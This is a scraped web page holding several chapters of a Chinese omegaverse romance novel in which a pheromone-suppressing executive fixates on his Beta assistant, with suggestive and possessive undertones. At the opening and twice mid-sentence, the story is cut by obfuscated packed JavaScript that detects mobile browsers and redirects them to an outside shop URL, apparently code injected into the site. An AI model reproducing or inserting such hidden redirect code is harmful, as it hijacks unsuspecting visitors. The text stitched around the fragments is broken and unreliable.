l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424295|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> - 深夜,傅执在S市的住处。 傅执伸手甩上门,厚重铁门不堪重负,发出了闷闷的一声巨响。 经络明显的腕骨上,手环的屏幕亮起,显示出显眼的橙色。 这是某种危险的警告。 预示着佩戴手环的人不安全,正在发生信息素泄露。 当然,程度不算严重。 否则手环就会显示红色并发出尖锐的警报声,随即立即对接管理局,把即将失控的野兽当场压制。 傅执瞥了一眼手环,他眉弓很深,自上而下地压下来。 亮色的机械光电闪烁,映在Enigma有些许阴郁的漆黑瞳孔中。 但只是一瞬,他眼中的阴郁便全然散去,归于纯粹的冷漠。 手环上的警告也在几秒后停住了,屏幕转为绿色,表示周围已经没有高风险的信息素。 如此精密地、像机器一般压抑住自己的信息素,如果此刻有Alpha在看,一定会为此感到恐惧,不亚于看见了隐匿在人群里、披着人皮的某种怪物。 ——尤其是,还顶着腿I间这样骇然隆起的事物,在极短的时间内,没打抑制剂,用意志力压制住了信息素。 Enigma神色平静,抬步往楼上走,没有在已经被他的信息素充斥的客厅过分停留。 傅执在层层上锁的医疗柜里翻出抑制剂盒,拧开其中一只,用注射器吸入药液。 泛着银色的针头扎入静脉,面无表情地将药液推入。 在日常工作或通勤中遇到他人信息素暴动,是无法完全避免的。两个月前傅执到海外出差,也经历过类似的意外。 但他的信息素和多年来一样,平稳得像是销声匿迹。 事实上,除了易感期,傅执几乎没有任何信息素紊乱的记录,克制得近乎完美。 Enigma们的大脑天生过于缜密、无所不知,几乎没有学不会的知识,也没有任何人、任何事能够瞒住他们。 同样的,他们也无法瞒住自己,对自己的心理同样剖析得淋漓尽致。 真正让他信息素失控的,不是恒时员工的信息素,是这个Beta。 冷淡疏离、对旁人不太容易亲近的Beta,却在简单的攀谈后就对他全然信任。 在出事之后跑得气喘吁吁,神情紧张,担心他被混乱波及到。 以及明明不习惯肢体接触却依旧努力抗拒着本能,服从他的掌控,窝在他侧颈。 全然依赖、乖巧的样子。 Enigma缓缓吐出一口气,额角绷得很紧,手下一动。 含着剧烈信息素的血液从静脉涌出。 傅执像是全然感觉不到疼痛,面无表情地拔出针头,把空了的器具扔进垃圾桶。 其他Alpha注射了抑制剂之后的痛苦、苍白的表情,在他的脸上一点也看不见。 但即便如此,已经兴奋的事物也没有那么容易压下去。 傅执不太喜欢这种兽性上涌的感觉,把大衣脱去、挂在门上,露出内里贴身的黑色内衬,准备到浴室洗个冷水澡,物理压抑。 桌上的手机突然震动。 傅执脸色凝滞,黑沉的眼珠微动,看了过去。 某个备注好的名字在屏幕上安静浮现。 傅执静了半晌,手背青筋微微绷起,呼吸粗重,眼底的阴郁比刚刚进门时还要可怖。 蛰伏的、尚未平息的野兽,在衣摆下,堪称恐怖地搏动着。 “……” 快要自动断线时,Enigma接起了电话。 “喂。”傅执说。 “啊……”可能是他的声音哑得过分,Beta开口时磕了一下,“没什么事,我就是打个电话确认一下……您到家了吗?” 含着淡淡关切的声音,显得柔软,对潜在的危险显然一无所知。 “嗯。”一滴滚烫的汗液从傅执的额角滑落,声音依旧低哑,“你呢?” “我快到了。”对方似乎还是有点担心,说得很认真,“您没事吧?有不舒服的话要随时告诉我。” “嗯,我没事。早点休息。” “好,那……晚安?” “晚安。” 挂完电话,傅执在原地站了一会儿,没有再按照刚刚的想法,收拾好衣服走进浴室。 剧烈的胀痛、搏动,让他想像个动物一样纾解。可理智又在暗处警告,一旦开了个口子…… 后面的事情,连他也不能再完全控制了。 Enigma看似理智,其实是绝对的本能生物。他听从着大脑深处的警告,最终忍耐了下来,什么出格举动也没有做。 傅执转过身,从暗室里足有两人高大的、冰冷的金属柜里,把刚刚放进去的抑制剂又拿了出来。 他熟练地开盖、用针头吸取药液,放出一点针筒里的液体,再次对准了自己。 ——级别越高,越不能过量使用抑制剂。 否则在易感期会加倍反扑,煎熬无比。 这是凡有信息素的生物都会明白的简单道理。 寒冷的液体流入血管,又从前臂流经四肢百骸。Enigma在桌边静静站着。像与自己无关一样,他旁观着前所未有的、因他人而起的剧烈情I欲,从有到无,猛烈地燃烧起来后,又被近乎残暴地压抑,坠入到冰冷的、没有温度的深渊中去。 6. 第 6 章 拿回并购项目后,元枢很快完成了股权转让。 子公司的抑制剂研发项目归并到集团旗下,许知桉被通知负责对接,推进项目进度。 这半个月他忙得晕头转向,和傅执的见面少了许多。 某天回到家脱掉外套、躺在沙发上一个字都不想说的时候,医院那边打来了电话。 “许先生,您母亲的恢复情况很好。” 医生的语气听上去十分欣慰,“患者腺体对于人工信息素制剂的抵抗反应很轻微,再加上药物治疗,机能已经基本恢复正常了。后续再住院观察一段时间,没问题的话,就可以出院了。” 心中大石落下,许知桉松了一口气,唇角不自觉地弯着,向医生认真道谢。 新工作比想象中顺利,妈妈也能恢复健康……真的太好了。 许知桉抱着枕头,如释重负地躺倒在沙发上,脸颊因为高兴而泛着淡淡红晕,用额头在抱枕布料上蹭了蹭,浅色碎发被他弄得有些凌乱。 几分钟后,他顶着一头被自己弄得有些乱的头发从沙发上起身,准备随便弄点东西,应付晚饭。 许知桉一手无意识地捂着胃,蹲在冰箱面前找速冻食品。 自从换了工作,他忙得脚不沾地,吃饭上面比之前更随意了些,胃痛也似乎比以前更频繁了。 速冻饺子煮到一半,妈妈的电话打了过来。 “桉桉。”Omega女性的声音十分温柔,“吃饭了吗?” “嗯嗯。”许知桉手里还用筷子搅动着汤汁,有些心虚地撒谎道,“已经吃了。” “刚下班吗?在食堂吃的啊?” “嗯,刚回到家。” “这么晚啊……” 许韵抬头看了一眼病房里的钟,语气有些低缓道,“每天都八九点才能下班回家吗,新公司这么忙?” “没有每天。”许知桉低头安抚性地笑了笑,伸手关了火,“最近项目比较忙,过了这阵子就好了。” 许知桉的父亲是个Beta,母亲是Omega。 本来是幸福的三口之家,父亲却在孩子年幼的时候就病逝了。 许韵尽自己最大的能力,给了许知桉充足的物质条件和不少于其他孩子的爱。但她始终觉得,由于父爱的缺失,许知桉显得过分早熟、懂事。 事业上相当拼命,平时有什么难处也很少主动倾诉,都是一个人安静消化。 许韵心疼地蹙着眉心。 她犹豫片刻,还是问道:“和新上司……相处怎么样,他有没有为难你?” 许韵是个性格温和的Omega,极少会用“为难”来形容一个素未谋面的人。 傅执在外的名声真的有这么差吗? 许知桉莫名觉得有些好笑,一向没有太多情绪的浅淡眼瞳生动了些,无意识地弯了弯唇角。 他把饺子盛到碗里,趁着晾凉的功夫道:“没有,傅总其实挺好相处的,很照顾我。” “照顾你?”许韵语调微微提高,有些疑惑地重复了一遍。 她顿了一下,很是忧心地道:“知道你是懂事,但你要跟妈妈说实话,不要受了委屈也总不说。” 许知桉吹凉饺子的动作一顿,忍不住笑道:“没有,他私下很温和的,真的。” 许知桉自认为没有在说假话,傅执对他是真的很照顾。 他毕竟是跨行,尽管已经尽力做了准备,也难免会有错漏和不熟练的时候。上周他就犯了迷糊,把两个会议的位置记串了,让老板跑空一趟,耽搁了几分钟,差点双双迟到。 身为助理,许知桉尴尬得不行,那天中午和傅执汇报进度的时候眼睛都没敢抬起来,全程盯着手里的报告,状似非常认真。 汇报到一半,傅执打断了他:“停一下。” 如果许知桉身后有兔子尾巴,这会儿应该已经像个触到了静电的毛球一样炸起来了:“怎、怎么了?” 傅执静默一瞬,随即低低笑了一下:“没什么……你很紧张?” 许知桉脑子都有点空白,手心发紧,一时间没答上话。 看他这样,傅执放下了手里还在看着的合同,语气平淡且自然:“抬头。” “……” 许知桉的脑袋总算被他从手里那张报告里哄了出来,和老板对视。 确认面前的Beta只是有些不好意思、没有真的情绪低落后,男人给了些建议,让他改一下安排日程的方式。 从那之后,许知桉的工作流程就简化熟练了很多。 类似的事情还有一两次,工作上犯错的时候,上司会耐心教导他,而不是责备他。 总之,许知桉真心觉得,除了情绪不多、因此显得有些淡漠疏冷之外,傅执总体真的称得上是一个很好相处的老板了。 听完许知桉的话,话筒里许韵的声音显得有些微妙:“私底下很温和……这样啊?” 虽然许韵没有特地了解过太多商界的事务,但元枢这样规模庞大、在各领域都有势力的企业,即便没有特意关注,也会多少有所耳闻。 傅家明面上是商业世家,但势力远不止于此,甚至已经蔓延到军方。 而ABO管理局作为权力和军方等同的机构,似乎也不能对傅家的掌权者们完全约束。 很多重要的研发项目,都需要和元枢集团互相配合,才能够顺利推进完成。 出于过往的见闻,许韵对Alpha们的印象称不上太好。 从许知桉入职以后,许韵就一直担心他受欺负,被情绪不稳定的Alpha上司打压。 结果对方竟然很温和吗?评价这么高? 隐隐觉得有哪里不对,但许韵没再多问下去,只道:“那就好,晚上早点休息吧。” 通完电话后,许知桉把碗筷收拾好,早早洗漱好躺在床上,又浏览了一遍工作消息,确保没有遗漏。 指尖扫过傅执的账号时,Beta的动作停住,眼睫轻微地颤了颤。 傅执这半个多月几乎都在出差,很少能坐办公室,再加上他也很忙,总觉得已经很久没跟傅执联系过了。 指尖在聊天框上悬停了几秒,没有太久,许知桉便安静地滑开了。 当然不能在休息时间给上司发消息。 况且,他也没有什么要特地询问对方的事。 几天后,傅执结束出差,要从外地回S市。 登机前,许知桉给他打了电话,问:“傅总,航班应该能准点,我两点半到机场接您?” 傅执那边听起来有些嘈杂,应该是在机场大厅。年长者的声音低沉平静:“今天不用来接,我下午临时有些事要办,大概五点到公司。” 话音落下,电话那边的Beta却没有立刻回应。 在几秒的沉默后,许知桉才缓声道:“好,那我先回公司。下午见。” 几百公里外的机场,傅执一手推着行李、一手拿着手机通话,正不紧不慢地跟着人群行进。 他微微垂眼,掩去稠黑眼底划过的一丝情绪。 大多数人都不知道,Enigma的感官天生比其他性别敏锐数倍。 因此,当他们耐心倾听着某个人说话的时候,没有哪个微表情和语气可以脱离这些控制狂们的掌控范围之内。 但他就像没有察觉到许知桉的情绪那样,语气听起来毫无异色,甚至称得上彬彬有礼:“嗯,你先把会议需要的资料准备一下。下午见。” 挂了电话,许知桉心里有点说不出来的空荡。有点像排了挺长的队,总算来到面包店前台,却被告知不巧,最期待的那款热门面包在一小时前就已经售空了。 可他又不太清楚自己为什么会有这种情绪,没有道理地感到低落。 推迟几个小时见到……也没什么可失落的吧? 他想了想,觉得可能是最近太忙了,没有休息好,身体疲惫,情绪才有些不稳定。 不用去机场,许知桉就直接回了公司。 忙完下午的工作后,离开会的时间还有一个小时,傅执也还没到办公室。 许知桉难得空闲,到茶水间找些东西吃,低头接咖啡的时候突然被人拍了下肩膀。 “知桉?” 许知桉直起身子,对上了Alpha微弯着的笑眼。 他有些意外:“宁远?” 宁远是恒时的员工,而不是自己的同事,许知桉当然没想到会在茶水间偶遇到他。 Beta回想了一下:“你来做那个制剂研发项目的顾问吗?” 宁远嗯了一声,他端着咖啡,腕骨上的抑制手环看上去十分显眼:“不知道为什么催这么急,项目难度又大,公司就签了合同,把我和团队暂时调过来这边了。” 许知桉:“上次你们回去之后恢复得怎么样,没再出事吧?” 知道他是在问之前应酬时突发信息素暴动的事,宁远道:“没什么事,都在管理局里打了抑制剂,确认没有危险就回去了。” 许知桉和Alpha保持着一个很礼貌的距离,点点头道:“那就好。” 两个人找了个空位坐下,用餐间隙,宁远抬头看了一眼,却在注视到坐在对面的Beta的瞬间,猝不及防地顿住视线。 许知桉是很典型的那一类Beta,虽然漂亮,但实在不是娇弱得像Omega的那种类型。发色和瞳色都很浅、气质疏离,有种不来自信息素、而是完全来自于这个人本身的,如雨后般疏冷的浅淡气息。 茶水间冷白的灯光映在他脸侧,Alpha感觉到自己的心跳骤然漏了一拍。 许知桉感觉到什么,抬眼和宁远对视,眨了下眼睛,眼底是询问的意味:“?” “啊、啊。”宁远回神,开口的时候不自然地卡了一下,“突然想起来这周实验数据还没跟你交接,我现在发你。” 唔? 看着对面匆匆忙忙拿起手机的Alpha,许知桉有点困惑。 虽然说是没交接,但也没那么紧急吧,怎么宁远看起来很迫切地要发的样子。 不过他对这种动机兴趣不大,也没多问,点了文件接收。非常巧合的是,许知桉刚接受好文件,手机就开始震动起来。 是傅执的电话。 许知桉有些意外地怔了一下,眼睫微掀,接通了电话:“傅总?” “嗯。”傅执的声音透过电话显得有些失真,“在办公室?” “唔,没有,我在茶水间休息。” 许知桉下意识地环顾了一下四周,透过三楼办公区没看到傅执,他才又把视线转回来,“是有什么事吗?” 不知为何,对面反常地沉默了几秒。 傅执再开口时,不知道是不是许知桉的错觉,他的声音显得比平时更加沉缓:“你帮我拿一下纸笔,我还在处理事情,稍后会直接去会议室。” 许知桉看了眼时间,确实,离会议就剩半个小时了。 再开口时,他自己都没有察觉到地,语气轻快了一些:“好的,那待会儿见。” 傅执:“嗯,一会见。” - 二十分钟前,四楼的医疗室。 按道理来说,没有哪个公司会在办公区设置一间专门的、设备过分齐全的医疗室,哪怕是有众多AO员工的元枢集团也不应该如此。 但如果这里存在着一个因为信息素极端暴戾、不能完全自主控制,需要每个月都定期体检的Enigma,那这样的破例就显得十分地合乎情理了。 Enigma体内的信息素囤积比寻常Alpha快得太多,尤其是易感期,他们的神经可以说无时无刻不绷在高压线的范围之内。易感期临近,体检的频率也会相对应增加一些,否则一旦信息素失控,Enigma就会表现出进攻性,又或者是变成满脑子只剩下x交、操控和标记伴侣的野兽。 易感期前夕,Enigma血液里的信息素浓度会更高,高到一个堪称恐怖的程度。 这是一个很简单的生理学常识。 因此,穿着白大褂的方旭此刻有点不敢相信自己的眼睛了。 “八倍?你信息素浓度只比均值高了八倍??” 方旭的声音闷在口罩里,仍旧掩不住他极度的震惊。 按照往常的数据,傅执的信息素浓度会比其他Alpha高出十二到十五倍。 看起来已经足够恐怖,但对于Enigma们来说,这个数据其实低了很多。 二十倍左右才是正常的。 方旭第一次给他测出结果的时候,犹豫许久,还是没忍住问他是不是天生性冷淡,对交.配方面的欲望过低,低到了某种病理程度。 十几倍已经很低了……八倍? 甚至还处在易感期前夕? 方旭看着这个数值,只觉得太阳穴突突地跳:“你这段时间干了什么事?自己破坏了腺体吗?终于还是丧心病狂了吗??” 傅执没什么情绪:“没有。” 方旭语气斩钉截铁:“你有。按照你极端压抑*欲的过往表现,我很难不怀疑你已经有破坏腺体的自I残倾向了。麻烦你不要跟医生隐瞒实情好吧,傅大少爷。” 方旭虽然性格不怎么正经,但毕竟是管理局派来跟进Enigma治疗的医生,专业能力过硬,基本不会出现诊断失误。 在几年前第二次给傅执体检之后,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424296|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旭就敏锐地意识到——虽然傅执比其他Enigma,甚至比绝大多数高等级Alpha都要冷静克制得多,但他绝不是生I理需求低、繁殖欲不强的那一类Enigma。 正是因为天生的欲I望太强烈、又厌恶信息素带来的动物本能,才会深深压抑,表现出反常的特性。 方旭阴沉着脸,无声催促傅执赶紧说实话,配合诊断。 这是已经确信他在自毁腺体了,傅执语气有些无奈:“没有。上周我注射了两支抑制剂,信息素水平低只是正常反应。” 听完这话,方旭足足沉默了半分钟。 再开口时声音带着淡淡死意:“这跟自毁腺体有区别吗?你还记得配给你的抑制剂浓度是市面上抑制剂的多少倍吗,傅总?” 傅执对他的质问并没有太多表示,简单阐述了一下那晚出差时遇见的意外。 他淡淡道:“易感期前夕遇到这种情况,只打一支不能确保安全。” 不知道是不是彻底无力了,方旭没再说话,医疗室里只剩下他敲键盘记录傅执身体状况的哒哒声。 护士在远远处站着,一言不发。 冰冷的房间内显得分外压抑。 记录完后,方旭扶着额头,良久才缓缓叹了口气,无力道:“行吧,你继续配合手底下这个抑制剂研发项目,等更强的制剂研发出来,就尽快让管理局那边给你走审批。” 例行体检结束,检查结果称得上一切正常。 房间里的人却似乎并没有为此感到轻松。 方旭每个月都需要为傅执进行十分全面的检查,明明傅执的情绪一直都很稳定、数据甚至也稳中向好,但他的心里却隐隐觉得非常不安—— 方旭是个级别不低的Alpha,对潜在危险有种说不清的天生预感。 理性、克制的外壳下,也许是被压抑到近乎偏执的占有欲和控制欲。 因此,在结束会诊前,Alpha医生还是没忍住低声劝告:“管理局那边不把你们这类人当人看,虽然你愿意配合……但我还是要说,你最好找个匹配度高的Omega或者Alpha伴侣,不能再像这样长期依赖抑制剂了。” 参考往常的经验,方旭以为Enigma下一秒就会淡淡拒绝,今天的就诊会和几年来一样平淡而乏味地结束。 但对方沉默了一阵,大概半分钟,才神情平静地偏头,眼尾淡淡扫过。 “谢谢。”傅执没什么情绪道,“但我不考虑。” “…………” 方旭无语,差点没忍住翻了个白眼。 还以为这人沉默这么久是动摇了,结果就说这? 他面无表情,啪的一下合上笔电:“那你就继续配合项目吧,今晚记得去实验室提供血液样本,我走了。” 方旭离开后,傅执没有立刻离开医疗室。 他走到医疗室的落地窗边,微微低头,在某个片刻后,视线停留在下方的某个空旷区域。 像是看见了什么,微微一顿,视线骤然沉冷下去。 Enigma站在暗处,深邃的眉弓处落下阴影,整个人都透露出淡淡阴郁,看起来很不好接近。 但靠近他时,又会有种错觉——仿佛这个人只是安静站着,透出的攻击性只是光线的问题。 并没有让自身的侵略欲泄露半分,都被沉默地压抑在最深处。 旁边的护士还没离开,在整理桌上看上去就十分冰冷的金属检测仪器。 她带着口罩,露出微微拧着的眉心。 护士一直跟着方旭工作,是为数不多能够知道傅执性别的人。 单独和Enigma共处一室,她难免感到很紧绷。 虽然没有明文规定,但Enigma一直是某种特殊群体。 为了管控他们、并最大程度利用他们的能力,管理局会对每一个Enigma进行终身监控。并用某些手段,从思想到信息素都对他们进行绝对的控制。 护士不太清楚管控流程的细节,但她能猜到些许。 想必会不太人道。 虽然她有些同情,但身为防身能力一般的Beta,她还是对Enigma这类群体十分忌惮。 极端的管控手段,也从侧面表明这类群体是真的相当危险。 安静收拾着文件,护士突然听见落地窗那侧突然传来说话声。 “在办公室?” “你帮我拿一下纸笔,我还在处理事情,稍后会直接去会议室。” Enigma的声音很低,但语调居然很平缓……甚至称得上温和。 护士诧异地抬眼看去。 多年的职业经验,让她一眼就发现了傅执不对劲的地方。男人说着话,目光却始终放在窗外,看不清神情。垂在身侧的指尖轻微颤了一下,像是某种不能自控的躯体反应。 护士立刻意识到,这个Enigma的信息素可能并不像他表现出来的这么稳定。 这幅样子,明显是在和身体里躁动的信息素对抗。 痛苦已经反映到躯体动作上了。 犹豫片刻,护士还是在对方挂了电话后凑近,低声告诫:“傅先生,如果有什么身体不适,还是不要强撑,及时和方医生联系比较好。” “信息素紊乱不能硬撑,很难受的。医院里有设备可以适当缓解一些。” 傅执沉默片刻,低低应了一声,礼貌道:“谢谢。” 护士很快离开,冷白的病房里只剩下傅执一个人,四周重新归于安静。 傅执垂眸,沉黑色的眼珠重新又聚焦在落地窗外、无知无觉的Beta身上。 许知桉已经和那个Alpha道别,正在往电梯的方向走。 Enigma各方面的感官都天生敏锐,记忆力也很强,几乎过目不忘。 刚刚通电话时许知桉在楼下作出的反应,像一帧帧拆解开的影片,分毫不差地在傅执的脑中静静闪过。 在听到他声音的瞬间,对面前的Alpha就不再关注,无意识地往他办公室的方向看,想确认他是不是已经在公司。 今早也是一样。 在得知他要推迟回s市、不能立刻见面后,Beta没能掩饰住淡淡低落,声音都因此变得低缓下去。 “……” 男人站在窗边,沉默许久,他微微仰头,形状锋利的喉结很缓慢地滚了滚。 如果护士没有离开,此刻应该就能意识到,傅执并不是在因为信息素而痛苦、也没有低落。 只是在尽力压抑兴奋。 等到那阵兴奋和躁郁散去,傅执才把视线从落地窗外移开,神情淡淡,转身离开了治疗室。 7. 第 7 章 开完会,许知桉在办公室主动了会加班,想把宁远发过来的文件核对完再回家。 扫到某一行的时候,鼠标骤然停住,坐在工位上的Beta有些疑惑地眨了下眼睛。 同为Alpha信息素浓度,这一行的受试者的数值比其他人高了将近八倍。 这么明显的异常数据是怎么放到总结版图表里的? 许知桉有些不满地皱了皱鼻尖,心想明天一定要找负责人问责。 但他核对了一下后,发现这行数据竟然不是异常数值,正确的检测结果就是这样的。 即使身为Beta,许知桉也感觉自己的脑袋里缓缓冒出了一个“?” 这是正常的吗?这对吗? Alpha的信息素水平和繁殖欲密切相关,浓度越高,就越欲求不满、占有欲旺盛。 许知桉不太喜欢情绪不稳定的人,所以往往对这类Alpha敬而远之。 八倍? ……需求太旺盛了吧? 常识受到了严重冲击,许知桉有点迷糊地跳过了这条数据。 不过他也只是震惊一下,没什么太多想法。 这些受试者都是匿名的,他并不好奇这个人是谁,只要工作顺利完成就好。 九点半,周围的同事都回去了,许知桉才从办公室出来。 去电梯的路上,他经过实验室,恰好碰到从里面出来的傅执。 穿着深色风衣的人神情微动,看向这边。 “怎么这么晚?” 傅执按了电梯的按键,电梯门在两人面前合上了。 电梯里碰到老板,许知桉多少有点尴尬,很乖地伸手刮了下鼻尖。 “嗯,想把这周实验室的报告核对完……就晚了一点。” 许知桉仰头看着自己老板。 傅执太高了,他想和他对视的话总是得抬头,要是想贴上,许知桉估计还得踮一下脚,或者被抱起来一点。 傅执一如既往没什么表情,神情淡淡。 但不知是电梯灯光的原因还是许知桉的错觉,这个Alpha似乎有点苍白,显得有些病态。 加上傅执本就极具攻击性的眉眼衬托,整个人显得更加薄冷漠然。 他看起来有点不舒服,是刚刚在实验室里做了什么吗? 许知桉忍不住想。 许知桉负责跟进这个项目,偶尔也会去实验室。 保密的样本抽取过程自然是不能看的,但他碰见过刚在里面提供完信息素的A和O,情绪似乎都很激动。 还有些被提取过程的痛苦刺激,触发了防御机制,直接被诱导出易感或者发、情。 想到这里,许知桉唔了一声,又把自己最开始的猜测推翻了。 傅执看上去太冷静了,毫无失控的迹象。 应该不是在实验室里提供了信息素。 那就只是单纯的身体不舒服? 许知桉思考的时候会很认真,微垂着眼,因此没有注意到旁边沉默投来的视线,也不知道自己落在旁人眼里的模样。 他有点困了,刚刚在办公室打了好几个哈欠,浅色眼睛泛着水光,有些红。Beta穿着白色的长袖毛衣,眼睫无意识垂着,看不出平时的冷淡,反而显得有些柔软。 电梯门开,许知桉被“叮”的一声提示音叫回神,跟在傅执后面走出去。 “住在哪里?” 听见傅执声音里几不可察的笑意,许知桉愣了愣,扬起头。 和傅执微弯着的黑眸对上后,Beta的脚步滞住,迟钝地感觉到自己的心跳似乎漏了一拍,一时间什么反应都没能做出来。 几秒后,许知桉才回神,语速很快地说了地址,感觉自己的耳廓有点发热,忍了一下才没有伸手去揉。 傅执略微低着头看他,声音有些低哑:“顺路,我送你吧,今天很晚了。” 许知桉不好直接拒绝,想了想说:“那辛苦傅总了,把我放地铁口就好。” 傅执默然几秒,忍不住沉沉笑了一声。 “不用……下班了还这么紧张?” 许知桉本来是真紧张,也很防备,但被傅执这么一说,他对旁人时常绷着的那根弦突然就松了一点。 警戒心变得微弱下去,许知桉不好意思地笑了笑。 “好,那就麻烦您了。”Beta的眼睛微微弯了起来,很亮。 傅执看着他:“随意一点,叫名字就好。” 男人的声音比平时更低,有种略显病态的哑。但许知桉走在他身后,没太注意到这些,像只亦步亦趋跟在人后面的小动物,点头应道:“嗯嗯。” 上车扣好安全带后,许知桉的眉心突然一皱,脸色很快地苍白起来。 Beta默默往里缩了缩,伸出手,用掌根摁了摁突然开始闷痛的胃部。 许知桉轻轻咬着下唇,眼尾有点湿。 ……好痛。 傅执正低着头,在导航上输入许知桉家的地址,因此没有看见Beta的这个小动作。 傅执垂眼:“平时是一个人住?” 许知桉:“嗯……对。” 他这会儿已经难受得有点厉害了,连带着太阳穴都在抽痛,有些含糊地应了一句。 许知桉的这个毛病不是一天两天了,以往忍个十几分钟就能过去。因此他一言不发,安静地扶着额头,微阖着眼,等车开到他租房子的那个小区。 没有等太久,车停了。 他以为已经到了,从眩晕里回过神来,声音放得很轻:“谢谢,那我先下车了……明天见。” 傅执淡淡嗯了一声算是回应,但没让许知桉下车,随手打开了车里的灯,垂下眼睫道:“头疼吗?还是胃不舒服。” 许知桉是真的没想到傅执开着车还能注意到自己,一时有点怔然。 茶色的眼睛有些茫然,缓慢地眨了几下。 “……是胃疼。”许知桉从座位上坐起来一些,小声道,“没事的,我家里备了胃药,回去吃一点就好了。” 傅执仍没有依言让他下车,注视着Beta没什么精神的脸,平静道:“吃晚饭了吗?” “没有。”因为疼痛,平时冷淡的的嗓音放软了一些,像很轻的羽毛,“今天晚上太忙了嘛,我就给忘了。” “嗯。”傅执下车前叮嘱,“等我一下。” Alpha的语气十足温和、耐心,让许知桉的心情莫名安定了一些,很乖地点点头,应好。 他视线跟随着傅执,从车外一直走到路边亮着灯的药店。看来傅执是看出他不舒服,直接把车停在药店的停车区附近了。 男人身高腿长,步伐沉稳,很快消失在许知桉的视野里。 再回来的时候,傅执手里拿了鸡蛋灌饼和一些药,递给许知桉。 “先垫垫肚子。” 许知桉道了谢,小口小口地吃起来。 他很久没吃过这种现成的食物了,一般都是自己做速食,或者点外卖。 这个月份温度还很低,但坐在车里、再加上吃到了东西,许知桉感觉似乎没那么冷了,胃也没那么不舒服。 傅执坐在主驾,垂眼安静地看着手机屏幕。 界面上似乎是他今早给傅执发的文件。 但许知桉知道Alpha不是急着要处理这些,只是找些事情做,怕他坐在车里会觉得尴尬。 许知桉心里那根敏感的、防备的弦,突然松动了些,心里某个部分很微妙地塌陷了一点点。 Beta嚼着饼,腮边因为含着食物而鼓起一点,视线再次落到身边过分英俊高大的Alpha身上。 车里开着灯,许知桉这次看清楚了。 傅执的脸色真的很不对。 大概率是生病了。 但即便生病,“脆弱”这个词也和面前的人完全无关,顶多是有些虚弱。 傅执依旧平静,情绪稳定得像一尊人为调试的机器。 众所周知,Alpha作为最富攻击性的性别,繁殖本能往往难以压制。 而有些厌恶自身动物性的Alpha,会采取某些手段,长期压抑易感期,甚至不寻找配偶进行纾解和抚慰。 这种看似理智的自我压抑,往往会导致他们走向另一个极端。更不要说凌驾于Alpha之上、重欲到几乎成I瘾的Enigma。 可惜身为Beta,许知桉没能及时发现这一点。也没能看到,当他的注意力长时间放在傅执身上后,傅执骤然深重下去的眸色,以及因为淡淡兴奋,压抑地滚动了一下的喉结。 “好些了吗?” 在许知桉吃完饼、也把药吃进去几分钟后,傅执问他。 声音里听不出丝毫异样。 许知桉连连点头:“嗯嗯,我好多了。” 是真的好多了,他整个人都放松了许多,像适应了环境、把绒毛梳蓬松,才总算开始巡视新地域的小动物,和刚上车时的紧绷截然不同。 裹在毛衣里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424297|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许知桉很是担忧道:“你是不是也不舒服啊?脸色好像不太好。” 傅执顿了一下,点头道:“嗯,刚刚在实验室提供了血液样本,会对腺体有些刺激。” 嗯? 之前推翻的猜测竟然是对的吗? “抽血过程是不是很难受?我之前看到过受试者,他们从实验室出来后状态都不太好。是提取手段太粗暴了吗?” “而且你易感期快到了,多少也会有影响的。”许知桉说得有点急,无意识地皱了皱鼻尖,“现在还是难受吗,用不用我陪你去医院看看?” 车里静默一瞬,傅执道:“还好,影响不算很大。” 不大?真的吗? 回想了一下之前看到的画面,许知桉完全不相信这句话,十分肯定傅执是在哄他。 只是不希望他过分担心。 但傅执都这样说了,许知桉也就没再追问,决定明天再观察一下,看他的身体状态恢复了没有。 可能是车里的氛围太舒适,在隐隐的行车声里,许知桉彻底放松下来。 “……我好困。” Beta的眼睛几乎阖上了一半,纤细浓密的睫毛垂落下来,几乎下意识地说。 “睡吧。”傅执的声音听不出情绪,“到了我会叫你。” “唔……好。” 许知桉打了个哈欠,习惯性地朝右边偏头,在微微的行车声里,很快就睡着了。 - 路上没什么车辆,Enigma沉默地打着方向盘,路灯从前窗照进来,在他脸上落下淡淡阴影,看不清神情,整个人都显得越发阴郁。 刚刚在实验室被抽取了大量信息素,傅执后颈的腺体仍在隐隐作痛,几乎麻木。 超量使用抑制剂、再加上用刑般的压制手段,这具身体已经到了某种临界值。 可主人的禁I欲程度又堪称严苛。 甚至已经好几个月,连自我纾解都不曾有过。 许知桉静静躺在副驾,朝右边偏着头,毫无防备,对着傅执露出光洁后颈。 Enigma浓黑的眼珠在那处扫过,停留了一会儿才又移开。像某种野兽,对自投罗网的猎物无声舔舐。 傅执淡淡垂眼,手腕处仍戴着一个月前,许知桉提醒他戴上的抑制手环。 其实只要他想,他现在就可以结束信息素带来的煎熬痛苦。 傅执从未想过、也从不渴望通过交P,来释放积攒得过快过多的Enigma信息素。 